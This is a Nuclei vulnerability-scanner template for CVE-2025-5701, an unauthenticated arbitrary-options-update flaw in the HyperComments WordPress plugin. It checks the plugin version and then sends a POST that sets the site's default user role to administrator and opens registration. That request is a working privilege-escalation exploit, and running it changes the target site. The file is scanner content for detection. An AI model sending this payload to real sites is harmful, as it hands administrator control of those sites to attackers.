id: CVE-2025-5701

info:
  name: HyperComments <= 1.2.2 - Arbitrary Options Update
  author: kylew1004
  severity: critical
  description: |
    The HyperComments plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the hc_request_handler function in all versions up to, and including, 1.2.2. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.
  impact: |
    Unauthenticated attackers can update arbitrary WordPress options including default user roles, enabling privilege escalation to administrator access through self-registration.
  remediation: |
    Upgrade HyperComments plugin to a version later than 1.2.2 that implements proper capability checks on the hc_request_handler function.
  reference:
    - https://github.com/Nxploited/CVE-2025-5701/blob/main/CVE-2025-5701.py
    - https://nvd.nist.gov/vuln/detail/CVE-2025-5701
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-5701
    epss-score: 0.13438
    epss-percentile: 0.94296
    cwe-id: CWE-862
  metadata:
    verified: false
    max-request: 2
    vendor: wordpress
    product: hypercomments
    fofa-query: body="/wp-content/plugins/hypercomments"
  tags: cve,cve2025,wp,wp-plugin,wordpress,hypercomments,priv-esc,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/hypercomments/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - compare_versions(detected_version, "<= 1.2.2")
        internal: true

    extractors:
      - type: regex
        part: body
        name: detected_version
        group: 1
        regex:
          - '(?i)Stable.tag:\s?([\w.]+)'
        internal: true

  - raw:
      - |
        POST /wp-admin/index.php?hc_action=update_options HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {"default_role":"administrator","users_can_register":"1"}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '(?i)\{\s*"result"\s*:\s*"success"\s*\}'

      - type: status
        status:
          - 200

    extractors:
      - type: dsl
        dsl:
          - '"version: " + detected_version'
# digest: 4a0a00473045022100e0281e70f96456d3d44800493f32d8bce1e6feec9fd75f2513efd1d0fc20908a02203ce090aab1d0cf7ea02b94301d7605e52a0aad020fc7bbdb35465c243f594995:922c64590222798bb761d5b6d8e72950